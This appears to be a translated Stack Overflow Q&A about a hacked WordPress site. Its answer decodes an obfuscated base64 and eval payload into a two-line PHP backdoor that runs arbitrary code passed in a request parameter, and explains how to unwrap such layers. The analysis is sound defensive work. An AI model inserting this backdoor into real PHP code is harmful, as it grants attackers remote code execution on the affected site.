php - 有人可以解码这个脏代码吗?

标签 php wordpress base64 decode

我 friend 的一个 wordpress 网站被人黑了,他们把下面的代码放在所有模板文件的头部。

http://pastebin.com/dYcQ1Gri

我尝试用 base64 解码器解码它。但是输出看起来很奇怪。你们能告诉我这是什么类型的编码吗?

最佳答案

是一系列的eval+base64加密。解码后的代码为:

if (isset($_REQUEST['r' . 'e' . 'y' . 'yo']))
    eval(stripslashes($_REQUEST['r' . 'e' . 'y' . 'y' . 'o']));

我是这样得到的:

  • 将整个代码复制到您的文本编辑器中
  • 提供 \/\*.*?\*\/ 作为搜索模式,并替换为 ''(空字符串)
  • 现在您将获得一个或多个eval() 语句。将其更改为 echo
  • 重复

基本上,此代码将允许攻击者在您的网站上注入(inject)和执行任意代码。

关于php - 有人可以解码这个脏代码吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/23082306/

相关文章:

PHP DOM previousSibling 不起作用

PHP 无法正常运行

javascript - 带有动态 img src 的 JS/HTML 图像转换器

java - cmd中base64编译错误

php - 将 SHA512 哈希函数从经典 Asp 转换为 php/Laravel

来自多个表的 PHP 对象 - 性能

php - docker 的 -j$(nproc) 是什么意思?

php - 在 Woocommerce Recent Products 短代码中仅显示 "in stock"产品

css - wordpress div 像画廊一样对齐

python - 如何将base64字符串转换为图像?